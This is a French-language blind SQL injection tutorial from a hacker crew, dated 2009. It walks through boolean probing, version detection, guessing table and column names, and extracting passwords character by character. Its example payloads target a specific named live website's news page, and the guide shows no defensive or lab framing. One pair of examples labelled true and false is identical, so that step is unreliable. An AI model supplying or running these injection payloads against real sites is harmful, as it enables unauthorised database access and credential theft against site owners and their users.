/* [FRANCAIS] Blind SQL Injection Discovered by : MizoZ Contact : mizoz@9.cn Team : EvilWay Date : July 29 2009 Greetings : Moudi , Zuka, All friends */ ---------------------------------------------- ( SOMAIRE ) 0x01 : C'est quoi une SQL injection 0x02 : Comment sa marche la Blind SQL Injection 0x03 : Verifier la selection 0x04 : Trouver la version SQL et trouver les noms des tables et champs 0x05 : Extraire les informations ---------------------------------------------- 0x01 : C'est quoi une SQL Injection Une injection SQL est un type d'exploitation d'une faille de securite d'une application interagissant avec une base de donnees, en injectant une requête SQL et pouvant compromettre sa sécurité en lisant des informations de la base de donnees . ---------------------------------------------- 0x02 : Comment sa marche la Blind SQL Injection On a un script PHP qui fait voir une news , alors sa requete va etre comme ceci : "SELECT * FROM news WHERE id=".$_GET['id']." . pour voir la 2eme news on va executer script.php?id=2 , si je met script.php?id=1 + 1 , j'aurai le meme resultat car 1 + 1 = 2 , mais si je fait script.php?id=2 and 1=2 , alors la requete deviendrai "SELECT * FROM news WHERE id=2 and 1 = 2" , sa veux dire la requete ne va pas s'executer car 1 != 2 , et si on fait script.php?id=2 and 1=1 , la requete va s'executer normalement . C'est sa la logique du Blind SQL Injection VRAI ou FAUX , on travaillera tous le temps avec and . EXEMPLE : http://nuclear-coffee.com/fr/news.php?ID=31+and+1=1-- VRAI http://nuclear-coffee.com/fr/news.php?ID=31+and+1=1-- FAUX ---------------------------------------------- 0x03 : Verifier la selection Pour voir les donnees biensur il faut utiliser SELECT , alors il faut verifier si on peu l'utiliser , pour verifier on utilise "and (select 1)=1" , vous allez dire pourquoi , bah quand la selection marche on aura 1=1 alors c'est VRAI ce qui fait la selection et aussi VRAI et si sa marche pas alors c'est FAUX . EXEMPLE : http://nuclear-coffee.com/fr/news.php?ID=31+and+(select 1)=1-- VRAI ---------------------------------------------- 0x04 : Trouver la version SQL et trouver les noms des tables et champs Trouver la version SQL c le meme concept que verifier la selection , mais la on va mettre @@version a la place de selectionner 1 et aussi on va verifie si sa egale 3 , 4 ou 5 ou n'importe quel version SQL meme 2 ce qui fait on a : "and (select @@version)=5 , si c'est VRAI alors la version SQL c'est 5 , ou bien "and (select @@version)=4" si c'est VRAI alors la version SQL c'est 4 , et comme sa . EXEMPLE : http://nuclear-coffee.com/fr/news.php?ID=31+and+(select @@version)=5-- VRAI Pour trouver les noms des tables et champs , on peux extraire les donnees de la table "tables" de la base de donnee information_schema mais sa c'est apres . La on va utiliser la selection de 1 depuis la table et on limite le resultat a 1 seul resultat ce qui nous donne : and+(select 1 from users limit 0,1)=1-- , si c'est VRAI alors la table users existe , et cette technique c'est pour deviner les noms des tables . Pour les noms des champs c'est le meme truc mais a la place de 1 on va utiliser la fonction substring et la function concat : substring(concat(1,NOMDUCOLUMN),1,1) ce qui fait on a : and+(select substring(concat(1,NOMDUCOLUMN),1,1) from NOMDELATABLE limit 0,1)=1-- ---------------------------------------------- 0x05 : Extraire les informations C'est la partie la plus dur du tuto . Bah on travaille toujours avec le VRAI ou FAUX alors comment on va avoir des donnees depuis le VRAI ou FAUX . L'idee c'est simple on va extraire les donnees caractere par caractere , et pour avoir un caractere en numerique on va le convertir en ascii par la fonction ascii() . et on va utiliser la fonction substring . passant a la pratique :) and ascii(substring((SELECT password from users limit 0,1),1,1))=0 dans lexemple dessus , on va extraire le champ password depuis la table users , on a choisi le premier caractere par substring , et on la convertit en ascii . mais = 0 c'est quoi ??? imaginons que le mdp c'est "cekoi" le premier caractere c'est "c" , dans lexemple on verifie si le ascii de "c" = 0 , c'est faux biensur car c pas 0 , mais nous on sais pas que le pass debute par "c" alors on va chercher , on peu utiliser < ou > pour trouver l'acsii . and ascii(substring((SELECT password from users limit 0,1),1,1))>0 VRAI alors en augmente and ascii(substring((SELECT password from users limit 0,1),1,1))>30 VRAI AUSSI on augmente une autre fois and ascii(substring((SELECT password from users limit 0,1),1,1))>100 FAUX alors on decend . and ascii(substring((SELECT password from users limit 0,1),1,1))<95 FAUX alors c entre 95 et 100 and ascii(substring((SELECT password from users limit 0,1),1,1))>98 VRAI alors c entre 98 et 100 BAH C'est 99 and ascii(substring((SELECT password from users limit 0,1),1,1))=99 VRAI alors le premier caractere est "c" pour passer au 2eme carac on remplace ,1,1 a ,2,1 and ascii(substring((SELECT password from users limit 0,1),2,1)) et on fait la meme chose , et en continu comme a ce que un caractere nous donne <0 VRAI :) ---------------------------------------------- Si quelqu'un n'a pas pije quelque chose , MP moi sur mizozx@gmail.com ou bien mizoz@9.cn PEACE & LOVE MIZOZ WAS HERE